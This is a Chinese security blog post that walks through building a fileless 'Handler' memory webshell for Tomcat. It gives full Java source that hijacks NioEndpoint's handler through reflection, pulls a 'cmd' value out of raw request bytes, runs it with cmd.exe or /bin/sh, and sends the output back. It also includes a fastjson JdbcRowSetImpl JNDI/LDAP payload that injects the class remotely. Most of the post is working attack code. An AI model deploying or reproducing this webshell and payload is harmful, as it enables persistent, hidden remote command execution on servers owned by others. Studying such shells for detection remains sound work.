连接器内存马-handle
lzstar 发表于 北京 历史精选 3025浏览 · 2024-03-27 07:32

0x 00 前言

为何要写这篇文章呢
在前篇连接器中内存马的构造-Adapter内存马中,已经详细论述了连接器这边内存马该如何构造。
但忽略了一个问题,对于比较靠前的组件,数据还没有解析到请求里面,导致以下方法根本获取不到请求头中的数据

processor.getRequest().getHeader("cmd");

这个时候该怎么获取请求的数据呢?
而且回显的response也没准备好,直接获取response写入数据,不仅会出异常,而且还无法回显。
这种情况下如何进行数据回显呢?
所以就有了这篇文章。

本文从构造handle马开始,详细论述如何解决上述问题。

0x 01 理论基础

AbstractProtocol.ConnectionHandler#public SocketState process(SocketWrapperBase<s> wrapper, SocketEvent status) 方法,</s>

<s>

该方法会根据不同的协议创建不同的Processor ,之后调用Processor 的process方法

默认是Http11NioProtocol,会调用的是Http11Processor 的process方法

往前一步,可以发现这个handle就是NioEndpoint的handler属性

我们只需要获取内存中的NioEndpoint,并替换它的handle为我们的handle马,就可以完成注入

0x 02 构造

内存马注入

还是可以借助java内存对象搜索辅助工具在内存中寻找NioEndpoint

https://github.com/c0ny1/java-object-searcher

这里直接给出方法

public static Object getNioEndpoint() {
    Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
    for (Thread thread : threads) {
        if (thread == null) {
            continue;
        }
        if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
            Object target = getField(thread, "target");
            Object jioEndPoint = null;
            try {
                jioEndPoint = getField(target, "this$0");
            } catch (Exception e) {
            }
            if (jioEndPoint == null) {
                try {
                    jioEndPoint = getField(target, "endpoint");
                    return jioEndPoint;
                } catch (Exception e) {
                    new Object();
                }
            } else {
                return jioEndPoint;
            }
        }

    }
    return new Object();
}

我们虽然获取了NioEndpoint,但不能直接替换,先得要把原来的handle取出来,我们的handle的process逻辑执行完再执行原来的handle逻辑

NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
handler = nioEndpoint.getHandler();
MyHandler myHandler = new MyHandler();
nioEndpoint.setHandler(myHandler);

请求获取

最开始想的是通过NioEndpoint获取processor

Set<SocketWrapperBase<NioChannel>> connections = nioEndpoint.getConnections();
        for (SocketWrapperBase<NioChannel> c : connections) {
            Object currentProcessor = c.getCurrentProcessor();
            if (null != currentProcessor) {
                processor = (Processor) currentProcessor;
                break;
            }
        }

processor获取request,request获取请求头中请求的命令。

processor.getRequest().getHeader("cmd");

但很可惜,根本获取不到,究其原因,是流中的数据没有解析到request中,当执行完以下方法的时候,才能获取流中的数据

既然如此,那就不用request获取请求头的数据了,直接获取inputBuffer的全部数据,之后indexof查找请求是否有我们的标识,如果有就取出命令并执行

ByteBuffer heapByteBuffer = ((Http11InputBuffer) getField(processor, "inputBuffer")).getByteBuffer();
        try {
            String a = new String(heapByteBuffer.array(), "UTF-8");
            System.out.println(a);
            if (a.indexOf("cmd") != -1) {
                System.out.println(a.indexOf("cmd"));
                String cmd = a.substring(a.indexOf("cmd") + "cmd".length() + 1, a.indexOf("\r", a.indexOf("cmd")) - 1);
                exec(processor.getRequest(), cmd);
            }
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

但有个弊端,获取到的request其实是前一次(或者前几次,跟线程数有关)的缓存数据,所以可能第二三四次请求,获取的命令还是第一次请求的命令,太不稳定了。

于是想到了开启一个线程,这个线程不断从尝试从request中获取命令,并执行命令。但依然不够稳定,因为能获取到request数据,只有从解析请求到请求完成的中间。

bluE0大佬发现Poller组件的NioSocketWrapper的read方法可成功获取当次的request请求,数据从流中读取出来,为了不影响后续的处理,还需要将数据放入流中,正好该类有个unRead方法可以将读取出来的数据又放回去。

而我们内存马重写的process方法的参数,正好就有这个NioSocketWrapper

所以就有了以下代码

byte[] bytes = new byte[8192];
        ByteBuffer buf = ByteBuffer.wrap(bytes);
        try {
            wrapper.read(false, buf);
            buf.position(0);
            wrapper.unRead(buf);
           String a = new String(buf.array(), "UTF-8");
           if (a.indexOf("cmd") != -1) {
           //取出请求命令,执行命令
           }

        } catch (Exception e) {
            e.printStackTrace();
            buf.position(0);
            wrapper.unRead(buf);
        }

数据回显

最开始想的是从processor中获取request,request获取response,response写入回显

但实际response写数据实际是调用wrapper写数据,在执行AbstractEndpoint.Handler#process方法的时候,processor中wrapper为null,需要给其赋值

Method setMethod = processor.getClass().getDeclaredMethod("setSocketWrapper", SocketWrapperBase.class);
                // 设置方法可访问
                setMethod.setAccessible(true);
                // 调用私有方法
                setMethod.invoke(processor, wrapper); // 传入参数

如果将数据写入后,直接执行handler.process(wrapper, status);,的确能回显,但说到底不够优雅。

既然已经带有cmd指令,说明是我们需要处理的恶意请求,执行完命令之后就没必要给容器处理了,直接返回SocketState.CLOSED就好

但这个时候又不回显。猜测应该是流没有flush,之后看看谁调用这个流刷新的方法,发现有个finishResponse方法

Method finshMethod = processor.getClass().getDeclaredMethod("finishResponse");
                finshMethod.setAccessible(true);
                finshMethod.invoke(processor);

调用该方法将流刷新,数据成功回显。

完整构造如下

import org.apache.coyote.Processor;
import org.apache.tomcat.util.net.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.util.Set;

public class MyHandler implements AbstractEndpoint.Handler {
    private static AbstractEndpoint.Handler handler;
    private static Processor processor;

    static {
        NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
        handler = nioEndpoint.getHandler();
        MyHandler myHandler = new MyHandler();
        nioEndpoint.setHandler(myHandler);
        Set<SocketWrapperBase<NioChannel>> connections = nioEndpoint.getConnections();
        for (SocketWrapperBase<NioChannel> c : connections) {
            Object currentProcessor = c.getCurrentProcessor();
            if (null != currentProcessor) {
                processor = (Processor) currentProcessor;
                break;
            }
        }

    }



    public static Object getNioEndpoint() {
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            if (thread == null) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                Object target = getField(thread, "target");
                Object jioEndPoint = null;
                try {
                    jioEndPoint = getField(target, "this$0");
                } catch (Exception e) {
                }
                if (jioEndPoint == null) {
                    try {
                        jioEndPoint = getField(target, "endpoint");
                        return jioEndPoint;
                    } catch (Exception e) {
                        new Object();
                    }
                } else {
                    return jioEndPoint;
                }
            }

        }
        return new Object();
    }


    public static Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (NoSuchFieldException | IllegalAccessException e) {
            }
            clazz = clazz.getSuperclass();
        }
        return null;
    }


    @Override
    public SocketState process(SocketWrapperBase wrapper, SocketEvent status) {
        byte[] bytes = new byte[8192];
        ByteBuffer buf = ByteBuffer.wrap(bytes);
        try {
            wrapper.read(false, buf);
            buf.position(0);
            wrapper.unRead(buf);

        } catch (Exception e) {
            e.printStackTrace();
            buf.position(0);
            wrapper.unRead(buf);
        }
        SocketState r = SocketState.CLOSED;

        try {
            String a = new String(buf.array(), "UTF-8");
            System.out.println(a);
            if (a.indexOf("cmd") != -1) {
                //setSocketWrapper  response写数据实际是调用wrapper写数据,不调用该方法wrapper为null
                Method setMethod = processor.getClass().getDeclaredMethod("setSocketWrapper", SocketWrapperBase.class);
                // 设置方法可访问
                setMethod.setAccessible(true);
                // 调用私有方法
                setMethod.invoke(processor, wrapper); // 传入参数
                String cmd = a.substring(a.indexOf("cmd") + "cmd".length() + 1, a.indexOf("\r", a.indexOf("cmd")));
                byte[] result = exec(cmd.trim());
                processor.getRequest().getResponse().doWrite(ByteBuffer.wrap(result));
                //调用finishResponse,使流刷新
                Method finshMethod = processor.getClass().getDeclaredMethod("finishResponse");
                finshMethod.setAccessible(true);
                finshMethod.invoke(processor);
//                processor.getRequest().getResponse().addHeader("type:","afeafaeaaw");
            } else {
                r = handler.process(wrapper, status);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return r;
    }

    public byte[] exec(String c) {
        System.out.println(c);
        byte[] result = new byte[]{};
        try {
            String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", c} : new String[]{"/bin/sh", "-c", c};
            result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
        } catch (Exception e) {
        }
        return result;
    }

    @Override
    public Object getGlobal() {
        return null;
    }

    @Override
    public Set getOpenSockets() {
        return null;
    }

    @Override
    public void release(SocketWrapperBase socketWrapper) {

    }

    @Override
    public void pause() {

    }

    @Override
    public void recycle() {

    }
}

0x 03 验证

将该马加入jndi测试工具,

测试环境为 fastjson1.2.24,jdk8

打入以下payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/0/MyHandler/123","autoCommit":true}

jndi测试工具会返回指向MyAdapter内存马的reference

之后受害服务器远程通过reference远程加载构造的Handler马

执行器静态代码块中的逻辑,将内存中的NioEndpoint的handle替换为我们的handle马

之后发送任意路径下的请求,都会到我们handle马的process方法,如果请求头中带有cmd,则会执行命令并将结果返回

否则就handler.process(wrapper, status);将其交给容器处理。

至此,一个没有被大家提出过的内存马就构造出来了,相比于之前构造的adapter内存马,由于请求数据并没有解析,所以只能从流中获取。

响应也不能直接response设置回显,得将wrapper添加进去,得调用finishResponse方法。

0x 04 写后感

bluE0大佬文章最后,有这么一句话:


Tomcat8.0以前版本在处理io时直接使用NioChannel.read(buf)作为获取数据流的方法,而不同于8.5版本使用封装类SocketWrapperBase,故其中的处理逻辑不支持read()后将buf再重新放回原有的socket(这个说法其实并不准确,其实是tomcat在SocketWrapperBase中手动实现了一个transform方法将已读出的read数据放入后续需要进行处理的read buffer中),所以对于8.0以前的版本文中所提到的截获socket的方法可能并不适用,还是得使用缓存实现。


但用缓存实现,可能读到前几次请求的数据,也不够稳定,说到底,对于请求数据没有解析到请求里面,目前还没发现兼容各版本,获取请求数据比较好的解决方案。

所以建议寻找作为内存马的组件,是在processor解析完请求之后的组件。

参考链接:

Executor内存马的实现(二) - 先知社区 (aliyun.com)

连接器中内存马的构造-Adapter内存马 - 先知社区 (aliyun.com)

java内存对象搜索辅助工具

https://github.com/c0ny1/java-object-searcher

</s>
0 条评论
某人
表情
可输入 255

没有评论